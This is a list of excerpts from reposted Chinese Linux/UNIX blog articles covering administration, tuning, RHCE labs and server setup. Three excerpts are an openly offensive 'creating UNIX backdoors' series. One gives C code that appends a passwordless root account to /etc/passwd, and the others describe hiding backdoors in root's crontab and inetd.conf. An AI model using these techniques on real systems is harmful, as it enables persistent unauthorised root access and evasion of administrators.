LINUX 内核的类型(转)
LINUX 内核的类型(转)[@more@]解决复杂性的所有方法都基于一个基本原理:问题分解和各个击破。也就是说,都是把大 型的、难以解决的问题(或系统)分解成一定数量的复杂度较低的子问题(或子系统), 再根据需要重复这一过程直到每一部分都小到可以解决为止,而各种方法只是这种原理的 一些不同运用而已。 计算机科学中有三种经典的方法比较适合于构建大型系统(我首先必须说明的是,这些定 义都是经过我深思熟虑的讨论对象)。 1) 层次(Layer)—将解决方案分解成若干部分,在这些部分中存在一个问题域的最底层 ,它为上层的抽象层次较高
红旗Linux5.0 中用“groupadd”命令创建组(转)
红旗Linux5.0 中用“groupadd”命令创建组(转)[@more@] groupadd 命令是用来在 Linux 系统中创建用户组。这样只要为不同的用户组赋于不同权限,再将不同的的用户按需要加入不同组中,用户就能获得所在组拥有的权限。这种方法在 Linux 中有许多用户时是非常方便的。 groupadd 命令使用非常简单,只需在命令后输入用户组名称即可。请试着在终端中输入:groupadd hello。400) {this.resized=true; this.width=400; this.alt='Click here to open new window';}" border=0> 此时,我们已经创建了一个称为“hello”的用户组。为了证
Linux快速教程《推荐给初学者》(转)
Linux快速教程《推荐给初学者》(转)[@more@]目录:第一课 什么是Linux 第二课 为什么使用Linux 第三课 Linux纵览 第四课 Linux的发展 第五课 Linux特性 第六课 Linux与其他操作系统的区别 第七课 TurboLinux简介 第八课 进入与退出系统 第九课 文件与目录操作 第十课 (10)Linux备份与压缩命令 第十课 (1)Linux文件和目录操作相关命令 第十课 (2)Linux文件内容查询命令 第十课 (3)Linux文本处理命令 第十课 (4)Linux文件内容统计命令 第十课 (5)Linux文件比较命令 第十课 (6)Linux文件的复制、删除和移动命令 第十课 (7)L
ProFTPD支持MySQL添加虚拟用户认证及磁盘限额(转)
ProFTPD支持MySQL添加虚拟用户认证及磁盘限额(转)[@more@]前言 本文是根据实践而来,最主要是帮助新手知道怎么自架FTP服务器,本文也可以说是一个简单的使用例子;但不会把ProFTPD的所有文档都详细说明;也就是说简单的安装和配置,以及最简单的使用。让不懂ProFTPD的弟兄,比着“瓢”也能画出“葫芦”。至于哪个FTP服务器程序更好,我想都是好的,只要会用就行;vsftpd 现在很流行;但ProFTPD也是一种选择... ... 1、什么是ProFTPD; ProFTPD 是一个FTP服务器程序,和vsftpd、wuftp 类似的FTP服务器,他们最终实现功能和目的都是一样的,
提高开放式 UNIX 平台的安全性(转)
提高开放式 UNIX 平台的安全性(转)[@more@]使用 Mandrake MD5 校验和 Igor Maximov (uniug@cris.net) Web 开发人员,softPilot.2000 本文要看一下使用一种新方法提高开放式 UNIX 安全性的小外壳(shell)应用程序。本文提供了对代码逐步的分析。作者的专业领域是 Web 编程及尖端网络安全性开发。 破坏系统并获得超级用户权限的恶意用户对所有的系统管理员都将是一场恶梦。为保护开放式 UNIX 平台,下面的小外壳应用程序将为开放式 UNIX 安全壁垒添砖加瓦。 开放式 UNIX 操作系统 FreeBSD 和 Linux Mandrake 都有完整的外壳安全系统。FreeB
创建UNIX后门(高级篇)(转)
创建UNIX后门(高级篇)(转)[@more@]Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 2:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下: (1) (2) (3) (4) (5) (6) 0 0 * * 3 /usr/bin/updatedb 1. 分钟 (0-60) 2. 小时 (0-23) 3. 日 (1-31) 4
创建UNIX后门(中级篇)(转)
创建UNIX后门(中级篇)(转)[@more@]超级服务器守护进程(inetd)的配置文件。系统管理员一般情况下不经常检查该文件,因此这倒是个放置“后门”的好地方。:) 那么在这里如何建立一个最好的后门呢?当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先,让我们先来了解一下这方面的基础知识:inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单,基本形式如下: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram
创建UNIX后门(初级篇)(转)
创建UNIX后门(初级篇)(转)[@more@] 最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。 <++> backdoor/backdoor1.c #include main() { FILE *fd; fd=fopen("/etc/passwd","a+"); fprintf(fd,"hax0r::0:0::/root:/bin/sh "); } <--> 比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空。(注意,如果你使用的是较高
Linux中禁止Ctrl-Alt-Delete(转)
Linux中禁止Ctrl-Alt-Delete(转)[@more@]默认情况,Linux系统用/etc/inittab文件来控制系统对在系统终端前同时按下[CTRL]-[ALT]-[DELETE]组合键时是reboot还是shutdown。如果你愿意的话,你可以完全禁止这个功能。只要在这个文件中的: ca::ctrlaltdel:/sbin/shutdown -t3 -r now 前面加上一个注释符“#”就可以了。此外,我们也可以定制某些非root用户拥有在console前按ctrl-alt-delete来关闭系统的权利。步骤如下: 1. 在上面配置中加-a标记。例如: ca::ctrlaltdel:/sbin/shutdown -a -t3 -r now -a标记通知shutdown程序查看/etc/shu
UNIX管道和重定向功能在系统备份中的妙用(转)
UNIX管道和重定向功能在系统备份中的妙用(转)[@more@]UNIX命令有三个有效的数据流:标准输入,标准输出,标准错误。 管道是从一个程序进程向另一个程序进程单向传送信息的技术。与其它形式的进程间通讯,如IPC、MESSAGE PASSING、SOCKET等不同,管道特点是单向的。通常,管道把一个进程的输出传给另一进程作为输入。在接受进程接收信息前,系统临时保留管道信息。 UNIX shell中,管道在命令行中由一个竖杠(|)表示。管道左边的命令的标准输出作为管道右边命令的标准输入。 UNIX的输入和输出重定向可以将命令的标准输入输出,从键盘和终端转
LINUX系统性能调谐(转)
LINUX系统性能调谐(转)[@more@]本文从磁盘,文件及文件系统,内存和编译等方面详细的讲述了如何对Linux系统性能进行调谐。不管是Linux服务器还是客户机或者用户单机,按照本文提供的调谐方法,均可不同程度地改善Linux系统的性能。 1. 引言 实践证明Linux是高性能、稳定可靠而又相当灵活的操作系统,近年来,世界上许多大软件公司纷纷推出各种Linux服务器系统及Linux下的应用软件。目前,Linux已可以与各种传统的商业操作系统分庭抗礼,在服务器市场,占据了相当大的份额。Linux的服务器系统多种多样,可用作web服务器,邮件服务器,ftp服
Linux问与答:KDE问题解凝(转)
Linux问与答:KDE问题解凝(转)[@more@]问:是不是我太迟钝,或者因为KDE是太臃肿,资源要求高的桌面环境?如果那就是我要的,我会仍用微某(对不起,我不能说它的名字)。性能和好处都受到指责,FVWM2离我所希望的那种桌面环境还较接近,KDE却不是。 答:你不笨,但没得要领。KDE是分块的,如果你不想要某个特定的功能使你的系统膨胀或浪费你的资源,就在启动脚本文件中将它关闭掉。不要声音管理吗?关掉它。不要背景管理吗?关掉它。不要控制台吗?关掉它。当然,如果这样,你就不须要KDE了,你也就得不到这个环境的好处。 “图形
我的RHCE课堂实验《用户信息和man》(转)
我的RHCE课堂实验《用户信息和man》(转)[@more@]单元四实验:用户信息和man 估计用时:30分钟 目标:熟悉几个用户识别和帐户切换命令的使用。 实验前准备:准备一个安装好,完成过单元三实验的Red Hat Linux 系统,除此之外一个叫visitor 的非特权帐号,其密码为visitor。检查一下指南以确认这个帐号是否已经存在在系统中。如果你的visitor 帐号还未建立,则按如下次序操作: 1、以root 用户登录 2、输入 # useradd visitor 3、输入 # passwd visitor Changing password for user visitor New UNIX password: {在这里输入visitor} BAD PAS
我的RHCE课堂实验《文件和目录操作》(转)
我的RHCE课堂实验《文件和目录操作》(转)[@more@]单元三实验 文件和目录操作 估计用时:1小时30分 目标:熟悉文件、目录操作命令的数、语法和几个文件的使用。实验将这些命令组合成一个一般的用户任务。 实验前准备:准备一个安装好的Red Hat Linux 系统,并准备一个叫student 的非特权帐号,其密码为student。检查一下指南以确认这个帐号是否已经存在在系统中。如果你的student 帐号还未建立,则按如下次序操作: 1、以root 用户登录 2、输入 # useradd student 3、输入 # passwd student Changing password for user student New UNIX p
安装配置Tomcat + Apache + mod_jk(转)
安装配置Tomcat + Apache + mod_jk(转)[@more@]方案优势:配置简单高效,避免了编译webapp.so的麻烦 方案缺点:linux下的mod_jk也很难找. 1.安装JDK,这个很简单,执行 ./j2sdk1.4.1_02.bin cp -R j2sdk1.4.1_02/ /usr/local/j2sdk141 export JAVA_HOME=/usr/local/j2sdk141 export PATH=$PATH:/usr/local/j2sdk141/bin:/usr/local/j2sdk141/jre/bin export CLASSPATH=="./:/usr/local/j2sdk141/lib:/usr/local/j2sdk141/jre/lib" #设置环境变量 2.安装Tomcat4.1.29,将下载下来的tomcat1.4.29.tar.gz解压拷贝到相应的目录即可 tar xvzf tomcat4
在Linux Shell程序中进行身份验证(转)
在Linux Shell程序中进行身份验证(转)[@more@]※缘起 Linux系统管理员常常碰到的头痛问题是,在确定系统没有被入侵的前提下, 不知道哪个猪头不小心运行了某个特定用途的Shell程序,把系统搞得一塌 糊涂。而且,系统记录显示该猪头使用的是公用帐号(root或者admin), 你无法知道这个猪头在现实生活中具体对应的是哪一头猪。 ※开场 针对以上问题,解决方案有二:其一,追查时间和ip,根据时间和ip,可以 追查到该猪头是从哪个饲料槽拱过来的。不过猪圈里往往存在饲料槽混用问 题,这套解决方案只能确定以某猪为首的一群可疑猪。if大家都
Linux 探索 第一幕 传奇的开始(转)
Linux 探索 第一幕 传奇的开始(转)[@more@]《Linux 探索》的目的是帮助您认识Linux 这个博大精深的操作系统产品,如果您带着想成为专家或者顶尖Linux 人物来看本文的话,您肯定要失望了。因为我自己也还是Linux 的初学者,怎么能够写出让您成为高手的文章?(笑)不过愿望总是好的,大家一起努力吧!加油! ok,现在请您看看您是属于下面哪种类型的人: 1 :根本不知道什么是Linux,但是知道Windows; 2 :可以拼写出Linux 这个单词,知道是一种和Windows 操作系统相关的产品但仅此而已; 3 :知道Linux 是干什么的,有什么用处,而且也准
最老的Linux 系统《下载》(转)
最老的Linux 系统《下载》(转)[@more@]为了配合学习《Linux内核完全注释》一书,经过一段时间的摸索,我终于把linux 0.1x内核运行的文件系统制作出来了。为了方便大家实验,我制作了一个在bochs系统下运行的软件包。其中包括启动映像文件bootimage-0.1x和一个60MB的硬盘映像文件hdc.img。 运行环境: bochs 2.x模拟系统。 运行配置: 软件包中已经自带bochsrc.txt. 安装方法: 将该软件包linux-0.1x.zip复制到bochs的主目录(通常是C:Program FilesBochs-2.1)中解包,会生成linux-0.1x子目录。将该子目录中的配置文件bochsrc.txt复制到主
菜鸟经验:oracle与weblogic自动启动与停止(转)
菜鸟经验:oracle与weblogic自动启动与停止(转)[@more@]最近做开发时,发觉每次重新启动服务器时oracle数据库若没有关闭,则必须先关闭后在重新启动redhat advance server,oracle才能够正常运行。感觉这样麻烦,想到能否使数据库与web服务器与操作系统一同关闭与启动。在网上查找了一下相关资料,只找到一篇“Oracle Database HOWTO 自动启动及停止.htm”但是没有找到有关weblogic自动启动与停止的文章。经过摸索,我最初的想法实现了,因此想把它写出来,与大家交流。 服务器环境: RedHat Advance Server2.1 Oracle 9.2.2 for Linux We
Unix下的“魔法兔仔”(转)
Unix下的“魔法兔仔”(转)[@more@]长期以来,Unix/Linux一直让人忌讳莫深。对于刚刚接触Unix的系统管理员来说,正确高效地完成各 种关键的系统配置简直是一件不可能的任务。即使是一个很有经验的Unix的管理员,也常常会为某些复杂的配置文件的格式而苦恼。 Unix程序大多采用从某一个或多个特定名字文本中读取配置的方式,如果需要配置参数,则需要手工修改这些散落在系统各个角落的文本;windows下的程序则大多将配置参数写到注册表内,如要修改则需编辑注册表。两者各有其优点,不过Windows下有“魔法兔仔”、“Windows优化大师”等